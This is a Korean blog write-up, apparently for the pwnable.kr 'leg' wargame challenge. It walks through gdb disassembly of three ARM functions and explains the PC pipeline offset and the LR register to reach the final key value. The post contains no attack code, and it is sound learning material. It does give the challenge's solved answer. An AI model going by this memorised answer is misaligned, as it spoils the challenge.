   0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>

   0x00008d68 <+44>: bl 0x8cd4 <key1>

   0x00008d6c <+48>: mov r4, r0

   0x00008d70 <+52>: bl 0x8cf0 <key2>

   0x00008d74 <+56>: mov r3, r0

   0x00008d78 <+60>: add r4, r4, r3

   0x00008d7c <+64>: bl 0x8d20 <key3>

   0x00008d80 <+68>: mov r3, r0

   0x00008d84 <+72>: add r2, r4, r3

   0x00008d88 <+76>: ldr r3, [r11, #-16]

   0x00008d8c <+80>: cmp r2, r3


이런식으로 되어있는데 main<+44>부분쯤에 key1 key2 key3을 호출하는 부분을 보면 세 함수 모두 반환값이 r0에 저장되는 것으로 보인다.


이제 key1부터 분석을 해보자. key1의 어셈블리어를 확인해보면


(gdb) disass key1

Dump of assembler code for function key1:

   0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)

   0x00008cd8 <+4>: add r11, sp, #0

   0x00008cdc <+8>: mov r3, pc

   0x00008ce0 <+12>: mov r0, r3

   0x00008ce4 <+16>: sub sp, r11, #0

   0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)

   0x00008cec <+24>: bx lr

End of assembler dump.


pc값을 r3에 넣고 그걸 다시 r0에 넣어준다. arm어셈블리어에서 pc란 program counter로 eip와 같은 역할을 한다고 생각하면 된다. 대신 pc레지스터는 현재 실행되는 명령어가 담겨있는 eip와는 달리 다음 실행될 명령어의 주소가 담겨있다고 한다.

그러면 다음명령어가 담겨있는 주소인 8ce0이 key1의 값이 된다.

key1 = 0x8ce0


key2도 확인해보자


(gdb) disass key2

Dump of assembler code for function key2:

   0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)

   0x00008cf4 <+4>: add r11, sp, #0

   0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)

   0x00008cfc <+12>: add r6, pc, #1

   0x00008d00 <+16>: bx r6

   0x00008d04 <+20>: mov r3, pc

   0x00008d06 <+22>: adds r3, #4

   0x00008d08 <+24>: push {r3}

   0x00008d0a <+26>: pop {pc}

   0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)

   0x00008d10 <+32>: mov r0, r3

   0x00008d14 <+36>: sub sp, r11, #0

   0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)

   0x00008d1c <+44>: bx lr

End of assembler dump.


pc값을 r3에 넣고 4를 더한다음에 r3값을 r0에 넣어준다. 여기서의 pc값은 key2+20다음인 8d06일테니 key2값은 8d06+4인 8d0a이다.

key2 = 0x8d0a


마지막 key3을 보자.

(gdb) disass key3

Dump of assembler code for function key3:

   0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)

   0x00008d24 <+4>: add r11, sp, #0

   0x00008d28 <+8>: mov r3, lr

   0x00008d2c <+12>: mov r0, r3

   0x00008d30 <+16>: sub sp, r11, #0

   0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)

   0x00008d38 <+24>: bx lr

End of assembler dump.


새로운 레지스터인 lr이 보인다. r3에다가 lr의 값을 집어넣고 다시 r0에다가 넣어준다.

lr은 주소를 점프했을 때 다시 돌아와서 실행할 주소를 가르킨다. 간단히 리턴할 주소를 보관하는 레지스터라고 생각하면 될 것 같다. 

main함수의 어셈블리를 확인하면 key3이 호출되고 돌아간 주소를 확인할 수 있다. main+68로 돌아가니까 key3의 값은 8d80이다.

key3 = 0x8d80


이 key값들을 전부 더해주면 0x8ce0 + 0x8d0a + 0x8d80 = 0x1a76a = 108394이다.




아니라고한다...


http://recipes.egloos.com/4982170


이 블로그에서 본 바로는 arm은 명령을 실행할 때

1. fetch

2. decode

3. execute

4. write

와 같은 단계로 이루어져 있는데 pc는 여기서 fetch단계를 거치고 있는 명령어의 주소를 저장하고 있다.

만약 어떤 명령어가 3단계인 실행단계에 있다면 다음 명령어는 2단계인 decode단계에 있고 그 다음명령어가 fetch단계에 존재하는 것이다.


그러므로 key1과 key2의 값들의 pc값을 각각 수정해주면 key1의 pc값은 0x8ce4고 key2의 pc값은 0x8d0c가 된다.

그렇게 하면 key = 108400


플래그가 나왔다~

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] shellshock  (0) 2019.02.27
[pwnable.kr] mistake  (0) 2019.02.24
[pwnable.kr] input  (0) 2019.02.18
[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13

+ Recent posts